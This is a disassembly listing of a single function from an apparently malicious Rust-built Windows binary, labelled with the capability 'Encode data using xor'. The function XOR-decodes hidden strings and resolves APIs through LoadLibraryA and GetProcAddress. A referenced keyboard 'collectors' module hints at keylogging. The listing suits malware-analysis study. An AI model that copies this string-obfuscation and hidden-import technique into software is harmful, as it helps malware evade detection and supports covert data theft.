Function at 0x140004464
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x20], 0xfffffffffffffffe
mov rcx, qword [rcx]
mov rax, qword [rcx]
mov qword [rcx], 0
test rax, rax
je 0x140004676
mov rax, qword [rax]
mov qword [rbp - 0x48], rax
movabs rax, 0xd91499b170996585
xor rax, qword [0x14024c100]
movzx ecx, word [0x14024c108]
xor ecx, 0x8a0
lea rdx, [rbp - 0x20]
mov qword [rdx], rax
mov word [rdx + 8], cx
lea rsi, [rbp - 0x40]
mov r8d, 0xa
mov rcx, rsi
call fcn.1400c2720
lea rdi, [rbp - 8]
mov rcx, rdi
mov rdx, rsi
call fcn.1400cdf60
cmp dword [rdi], 1
je 0x140004690
mov r15, qword [rbp]
mov rax, qword [rbp + 8]
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], rax
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x11], 0
mov r10b, 1
lea r8, [0x14024c10a]
xor r14d, r14d
lea r11, [0x1401a28a8]
mov r12, r8
movzx r9d, byte [r14 + r11]
mov rax, r14
or rax, 1
movzx esi, byte [rax + r11]
mov rax, r14
or rax, 2
movzx r13d, byte [rax + r11]
mov rax, r14
or rax, 3
movzx ecx, byte [rax + r11]
mov rax, r14
or rax, 4
movzx ebx, byte [rax + r11]
mov rax, r14
or rax, 5
movzx eax, byte [rax + r11]
mov rdx, r14
or rdx, 6
mov rdi, r14
or rdi, 7
movzx edx, byte [rdx + r11]
movzx edi, byte [rdi + r11]
shl rdi, 0x38
shl rdx, 0x30
or rdx, rdi
shl rax, 0x28
shl rbx, 0x20
shl rcx, 0x18
shl r13, 0x10
shl rsi, 8
or rsi, r9
or rsi, r13
or rsi, rcx
or rsi, rbx
or rsi, rax
or rsi, rdx
xor rsi, qword [r12]
mov qword [rbp + r14 - 0x20], rsi
lea r12, [r14 + r8]
add r12, 8
mov r14d, 8
test r10b, 1
mov r10d, 0
jne 0x14000452c
movzx eax, byte [r12 + 2]
movzx ecx, word [r12]
xor ecx, 0x308a
lea rdx, [rbp - 0x20]
mov word [rdx + 0x10], cx
xor al, 0x93
mov byte [rdx + 0x12], al
lea rcx, [rbp - 0x40]
mov r8d, 0x13
call fcn.1400c2720
lea rcx, [rbp - 8]
lea rdx, [rbp - 0x40]
call fcn.1400cdf60
cmp dword [rbp - 8], 1
je 0x1400046cb
mov rdi, qword [rbp]
mov rax, qword [rbp + 8]
lea rbx, [rbp - 0x40]
mov qword [rbx], rdi
mov qword [rbx + 8], rax
mov rcx, r15
call sub.KERNEL32.dll_LoadLibraryA
mov rcx, rax
mov rdx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov rsi, rax
mov rcx, rbx
call fcn.140007567
lea rcx, [rbp - 0x58]
call fcn.140007567
mov rax, qword [rbp - 0x48]
mov qword [rax], rsi
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersThalya.rustup_toolchains_nightly_x86_64_pc_windows_msvclib_rustlib_src_rustlibrary_std_src_synconce.rs
mov edx, 0x2b
call fcn.140031820
ud2
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
lea r8, [rbp - 0x40]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srccollectorskeyboard.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.1400075c7
mov edx, 0x2b
call fcn.140034460
jmp 0x140004704
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
lea r8, [rbp - 0x40]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srccollectorskeyboard.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.1400075c7
mov edx, 0x2b
call fcn.140034460
ud2